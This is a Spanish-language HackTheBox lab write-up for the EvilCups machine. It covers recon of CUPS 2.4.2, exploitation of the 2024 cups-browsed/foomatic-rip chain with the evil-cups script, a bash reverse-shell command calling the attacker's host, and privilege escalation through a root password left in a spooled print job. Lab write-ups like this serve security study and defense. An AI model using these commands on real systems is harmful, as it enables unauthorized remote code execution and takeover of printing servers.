the_open_door
café
ESEN

EvilCups

HackTheBoxMediaLinux10.10.11.40

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#cups#ipp#cve-2024-47176#foomatic-rip#rce#print-spool#credential-leak#linux
TL;DR. EvilCups es una máquina Linux de dificultad media construida alrededor de la cadena de vulnerabilidades de CUPS que se hizo pública a finales de septiembre de 2024. El único servicio interesante es CUPS 2.4.2 en el puerto 631. Abusando de cups-browsed y la cadena foomatic-rip registramos una impresora maliciosa cuyo filtro ejecuta un comando: al lanzar un trabajo de impresión obtenemos ejecución como el usuario lp y una reverse shell. La flag de usuario es legible desde ahí. Para escalar, husmeamos en /var/spool/cups: los trabajos de impresión guardados conservan el documento renderizado, y uno de ellos contiene la contraseña de root en claro. Con ella, un simple su nos da la shell de root.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.40
64 bytes from 10.10.11.40: icmp_seq=1 ttl=63 time=39.0 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Lanzamos un escaneo TCP completo (los 65535 puertos) con nmap. Solo hay dos puertos abiertos: 22 (SSH) y 631 (IPP). El campo TTL del paquete de vuelta vale 63, cercano a 64, lo que apunta a Linux (cada salto de red decrementa el TTL en uno; es un indicio, no una prueba).

nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.40

nmap descubre solo dos puertos abiertos: 22 SSH y 631 IPP, con TTL 63

PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
631/tcp open  ipp     syn-ack ttl 63

extractPorts resume el fichero -oG y deja los dos puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.11.40 y puertos abiertos 22,631

Extracting information ...
IP Address: 10.10.11.40
Open ports: 22,631

El puerto 631/IPP (Internet Printing Protocol) es la pista grande: es el puerto de CUPS, el sistema de impresión estándar de Linux. Pedimos versión y scripts por defecto sobre los dos puertos.

nmap -p22,631 -sCV 10.10.11.40

nmap -sCV: OpenSSH 9.2p1 Debian y CUPS 2.4.2 en el 631

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
631/tcp open  ipp     CUPS 2.4
|_http-robots.txt: 1 disallowed entry
|_http-title: Home - CUPS 2.4.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El 22 es OpenSSH 9.2p1 sobre Debian 12 (bookworm) y el 631 es CUPS 2.4.2. Esa versión exacta es la clave de toda la máquina.

CUPS en el 631

Perfilamos el servicio web del 631 con whatweb. Confirma el servidor CUPS/2.4 IPP/2.1 y el título Home - CUPS 2.4.2.

whatweb http://10.10.11.40:631

whatweb identifica el servidor CUPS/2.4 IPP/2.1 y el título Home - CUPS 2.4.2

http://10.10.11.40:631 [200 OK] Content-Language[en_US], HTML5,
HTTPServer[CUPS/2.4 IPP/2.1], IP[10.10.11.40], Title[Home - CUPS 2.4.2],
X-Frame-Options[DENY]

En el navegador, el 631 sirve la consola de administración de OpenPrinting CUPS 2.4.2, con sus pestañas habituales (Administration, Printers, Jobs...). De entrada no hay impresoras útiles ni credenciales, pero la versión ya lo dice todo: CUPS 2.4.2 es vulnerable a la cadena de RCE de septiembre de 2024.

La consola web de CUPS 2.4.2 servida en el puerto 631

Shell como lp

CVE-2024-47176: la cadena de CUPS

A finales de septiembre de 2024, Simone Margaritelli publicó una cadena de cuatro CVE en CUPS que, encadenadas, dan ejecución remota de comandos sin autenticar. Conviene entender las piezas porque explican por qué el ataque necesita un último empujón (un trabajo de impresión):

  • CVE-2024-47176 (cups-browsed). El demonio cups-browsed escucha en UDP/631 y, por defecto, confía en cualquier paquete IPP entrante. Un atacante puede enviarle un paquete que le ordene "darse de alta" contra una impresora alojada en una URL que controla.
  • CVE-2024-47076 (libcupsfilters). Cuando cups-browsed consulta los atributos IPP de esa impresora remota, no los valida: se fía de lo que devuelva el servidor del atacante.
  • CVE-2024-47175 (libppd). Esos atributos sin validar se escriben tal cual en el fichero PPD que describe la nueva impresora. Eso permite inyectar directivas, entre ellas FoomaticRIPCommandLine.
  • CVE-2024-47177 (cups-filters). El filtro foomatic-rip ejecuta el contenido de FoomaticRIPCommandLine como un comando del sistema cuando se imprime un trabajo en esa impresora.

La consecuencia: registramos una impresora cuyo PPD lleva nuestro comando, y este se ejecuta en cuanto alguien (o nosotros mismos) manda algo a imprimir. Una salvedad importante: la cadena no es un RCE instantáneo, depende de que se procese un trabajo de impresión, y el comando corre con los privilegios del proceso de impresión, es decir el usuario lp, no root.

Lanzar el exploit

Usamos el exploit de IPPSec, evil-cups, que automatiza toda la cadena: levanta un servidor IPP propio, manda el paquete UDP al cups-browsed del objetivo, sirve la impresora maliciosa con nuestro FoomaticRIPCommandLine y espera. La línea responsable de inyectar el comando en el PPD es justo esta:

( SectionEnum.printer,
  b'printer-more-info',
  TagEnum.uri ):
  [f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'.encode()],

Lo invocamos pasándole nuestra IP, la del objetivo y el comando a ejecutar (una reverse shell de bash). En otra terminal dejamos el listener a la escucha.

# nuestra máquina (listener)
sudo nc -nlvp 443
# lanzar el exploit: <LHOST> <RHOST> "<comando>"
python3 evilcups.py 10.10.15.39 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.15.39/443 0>&1'"

Antes de lanzarlo, el listener que va a recibir la shell:

sudo nc -nlvp 443

el listener nc esperando en el puerto 443 antes de lanzar el exploit

listening on [any] 443 ...

El exploit monta su servidor IPP, envía el paquete y avisa de que suele tardar unos 30 segundos en que el objetivo se conecte de vuelta a por los atributos de la impresora.

evilcups.py levanta el IPP Server, envía el paquete UDP y, tras ~30s, "target connected, sending payload"; a la derecha el nc a la escucha en el 443

IPP Server Listening on ('10.10.15.39', 1234)
Sending udp packet to 10.10.11.40:631 ...
Please wait this normally takes 30 seconds ...
30 elapsed
target connected, sending payload ...

Si recargamos la pestaña Printers de la consola web, la impresora maliciosa ya está registrada: HACKED_10_10_15_39, junto a la Canon_MB2300_series que ya existía.

La pestaña Printers muestra la impresora maliciosa HACKED_10_10_15_39 recién creada

Como dijimos, la impresora por sí sola no dispara nada: hay que mandar un trabajo. Entramos en la impresora HACKED_... y, en el menú Maintenance, elegimos Print Test Page. Ese trabajo pasa por el filtro foomatic-rip, que ejecuta nuestro comando.

En la impresora HACKED, el menú Maintenance ofrece Print Test Page para disparar el trabajo

En cuanto el trabajo se procesa, el foomatic-rip ejecuta la reverse shell y nuestro listener recibe la conexión: tenemos shell como lp.

El listener recibe la conexión: shell como lp@evilcups

connect to [10.10.15.39] from (UNKNOWN) [10.10.11.40] 35576
bash: cannot set terminal process group (3364): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$

La shell llega sin terminal, y el propio bash lo dice al arrancar: cannot set terminal process group y no job control in this shell. El primer paso del tratamiento lo arregla:

script /dev/null -c bash

la shell recibida avisa de que no puede fijar el grupo de proceso ni hay job control, y script /dev/null -c bash abre una bash con TTY

connect to [10.10.15.39] from (UNKNOWN) [10.10.11.40] 52306
bash: cannot set terminal process group (1181): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
lp@evilcups:/$

Después se suspende con Ctrl+Z, se pone la terminal local en crudo y se recupera el trabajo:

# Ctrl+Z
stty raw -echo; fg
reset xterm

la sesión se suspende con Ctrl+Z y se recupera con stty raw -echo y fg

lp@evilcups:/$ ^Z
zsh: suspended  sudo nc -nlvp 443
[1]  + continued  sudo nc -nlvp 443

Y por último se declaran la shell y el tipo de terminal:

export SHELL=bash TERM=xterm

se exportan SHELL=bash y TERM=xterm en la sesión de lp

La flag de usuario está en el home de htb y es legible desde nuestra sesión de lp.

cat /home/htb/user.txt

cat /home/htb/user.txt devuelve la flag de usuario desde la shell de lp

0d373f73350e171093ba4277a0f4bbbf

Shell como root

El directorio /var/spool/cups

El usuario lp es el que gestiona la cola de impresión, así que el primer sitio donde mirar es /var/spool/cups, donde CUPS guarda los trabajos. No podemos hacer ls del directorio (Permission denied), pero eso no nos frena: CUPS nombra los ficheros de cada trabajo de forma predecible. Por cada trabajo hay un fichero de control c<NNNNN> y un fichero de datos d<NNNNN>-<NNN> (una d, cinco dígitos, un guion y tres dígitos). El primer trabajo procesado, por tanto, es d00001-001.

cd /var/spool/cups/
ls                  # Permission denied: no podemos listar...
cat d00001-001      # ...pero sí leer un fichero concreto por su nombre predecible

cat d00001-001 muestra el documento PostScript del trabajo de impresión guardado

El fichero d00001-001 es el documento renderizado que se imprimió en su día: una salida PostScript generada con GNU Enscript (un fichero de texto que describe la página).

%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
%%CreationDate: Sat Sep 28 09:31:01 2024
...

La contraseña en el trabajo de impresión

Leyendo el PostScript hasta el final aparece, embebida como una cadena de texto a dibujar, la contraseña de root en claro: alguien imprimió en su momento un documento que la contenía, y el trabajo quedó guardado en el spool.

Al final del PostScript aparece la contraseña de root: (Br3@k-G!@ss-r00t-evilcups)

...
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
%%Trailer
%%Pages: 1

Esa cadena, Br3@k-G!@ss-r00t-evilcups, es la contraseña de root. La probamos con su y cambiamos de usuario directamente.

su root
# contraseña: Br3@k-G!@ss-r00t-evilcups
id
cat /root/root.txt

su la acepta y tenemos shell de root. Máquina rooteada.

el panel de HackTheBox con las dos flags marcadas como owned y el mensaje de que EvilCUPS ha sido comprometida

Target IP Address
10.10.11.40

Submit User Flag    User flag owned    [4] Not Too Easy
Submit Root Flag    Root flag owned    [4] Not Too Easy

Congratulations kmn9!
You are player #369 to have pwned EvilCUPS.

Cadena de ataque

CUPS 2.4.2 (631/IPP)
  │  cups-browsed confía en el UDP/631 entrante  (CVE-2024-47176)
  ▼
evilcups.py  ─►  registra impresora maliciosa con FoomaticRIPCommandLine
  │  Print Test Page  ─►  foomatic-rip ejecuta el comando  (CVE-2024-47177)
  ▼
reverse shell como lp  ─►  /home/htb/user.txt
  │  husmear en /var/spool/cups (lp gestiona la cola)
  ▼
d00001-001 (PostScript del trabajo)  ─►  contraseña de root en claro
  │  su root
  ▼
root  ─►  root.txt

Lecciones aprendidas

  • La versión es la vulnerabilidad. En cuanto nmap dijo CUPS 2.4.2, la máquina estaba decidida: esa rama es vulnerable a la cadena de septiembre de 2024. Reconocer la versión y conocer su CVE asociada fue más rápido que cualquier fuzzing.
  • cups-browsed no debería estar expuesto. El fallo de raíz es que el demonio escuche en UDP/631 y se fíe de paquetes IPP de cualquiera. Mitigaciones reales: desactivar cups-browsed si no se usa, y filtrar el 631 para que no sea accesible desde redes no confiables.
  • La cadena necesita un trabajo de impresión. No es un RCE instantáneo y, además, corre como lp, no como root: por eso hizo falta una segunda fase. Conviene matizar el impacto en función de esas condiciones, no presentarlo como root inmediato.
  • Los trabajos de impresión guardan datos sensibles. La escalada no fue un exploit, sino leer /var/spool/cups: el documento impreso (con la contraseña de root) seguía ahí. Los spools, colas y ficheros temporales conservan información; limpiarlos y no imprimir secretos es parte de la higiene. Lo desarrollamos en fuga de secretos por trabajos de impresión.
Cheatsheet de comandos 11 comandos

Repaso rápido